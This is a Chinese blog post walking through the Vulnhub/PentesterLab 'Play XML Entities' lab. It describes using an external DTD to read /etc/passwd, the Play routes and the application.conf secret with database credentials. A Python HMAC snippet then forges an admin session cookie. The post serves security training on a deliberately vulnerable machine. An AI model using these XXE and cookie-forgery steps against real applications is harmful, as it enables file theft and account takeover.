前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Vulnhub】Play XML Entities

【Vulnhub】Play XML Entities

作者头像
yichen
发布2020-08-20 16:21:33
1.4K0
发布2020-08-20 16:21:33
举报

给了一个 iso 文件,打开就是登录的状态,可以直接 ifconfig 去看 ip 地址

访问一下 ip

python3 -m http.server 8080

python 开一个临时的服务,在提交表单的时候改成 xml(Content-Type 要改成 text/xml)

虽然服务器上没有这个东西,但是它确实去访问了

接下来就要通过编辑这个 test.dtd 来获得一些东西

再去访问的时候就能拿到 /etc/passwd 的信息

代码语言:javascript
复制
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

可以发现,play 用户的家目录是 /opt/play-2.1.3/xxe/

把 test.dtd 改一下

然后去访问得到:

代码语言:javascript
复制
.gitignore
.settings
app
conf
logs
Aproject
public
README
RUNNING_PID
target
test
代码语言:javascript
复制

再看一下 conf

代码语言:javascript
复制
application.conf
evolutions
routes

在访问 routes 时候

解码一下

代码语言:javascript
复制
/                       controllers.Application.index()
GET     /0ecf87346b9c0b370f8d63e6e7fed4f0            controllers.Application.secret_url()
GET       /login                 controllers.Application.login
POST      /login                 controllers.Application.login
GET       /logout                controllers.Application.logout
GET     /assets/*file            controllers.Assets.at(path="/public", file)                             

访问一下

/0ecf87346b9c0b370f8d63e6e7fed4f0

再去访问一下 application.conf

解码

代码语言:javascript
复制
代码语言:javascript
复制
application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
application.langs="en"
db.default.driver=com.mysql.jdbc.Driver
db.default.url="mysql://pentesterlab:pentesterlab@localhost/xxe"
ebean.default="models.*"
logger.root=ERROR
logger.play=INFO
logger.application=DEBUG                        
代码语言:javascript
复制

然后去看一下 framework/src/play/src/main/scala/play/api/mvc/Http.scala,并没有返回给我,我就直接在靶机里面看了

通过分析源码计算出 user=admin 应该用的 cookie

代码语言:javascript
复制
import hashlib
import hmac
key="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
data="user=admin"
h=hmac.new(key,data,hashlib.sha1)
h.hexdigest()                     
代码语言:javascript
复制

然后 cookie 改成

PLAY_SESSION="a5b8363ce748cfbb5d654edc3676d440173b33de-user=admin"

参考:

https://pentesterlab.com/exercises/play_xxe/course

http://www.beesfun.com/2017/04/21/play渗透框架XXE实体攻击/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档